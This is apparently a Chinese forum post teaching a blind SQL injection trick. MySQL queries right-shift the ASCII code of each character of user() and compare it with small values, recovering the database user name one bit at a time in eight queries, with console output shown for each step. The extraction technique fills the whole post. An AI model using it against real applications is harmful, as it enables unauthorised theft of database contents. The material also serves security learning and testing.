该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
下面将以查询mysql数据库当中user()的第一位为例:
ps:第二位,第三位依次类推
select substr(user(),2,1) mysql> select substr(user(),3,1)
首先执行如下sql语句:
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的 第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1 如果运算结果为1,说明第一位为0,不为1
+————————————–+|
(ascii((substr(user(),1,1))) >> 7)=0
|+————————————–+|
1
|+————————————–+
1 row in set (0.00 sec)
这样我们就确定这个8bit的ascii的第一位为0
第二次我们来做6次右偏移来确定前两位 前两位可能是01或00,即依然可以与0做比较,
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
+————————————–+|
(ascii((substr(user(),1,1))) >> 6)=0
|+————————————–+|
0
|+————————————–+
1 row in set (0.00 sec)
结果为0,即第二位为1
开始猜测前三位为010或011 让我们看看010和011的ascii码是多少
分别查询select b’011′ select b’010′ 获得结果 010 = 2 011 = 3
执行如下sql:
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
+————————————–+|
(ascii((substr(user(),1,1))) >> 5)=2
|+————————————–+|
0
|+————————————–+
即前三位不为010,而是011 直到获得最后一位
最终结果为:01110010
转换一下: select b’01110010′
查询结果
+————-+|
b’01110010′
|+————-+|
r
|+————-+
1 row in set (0.00 sec)
这样我们就获得了user()的第一位.其它位依此类推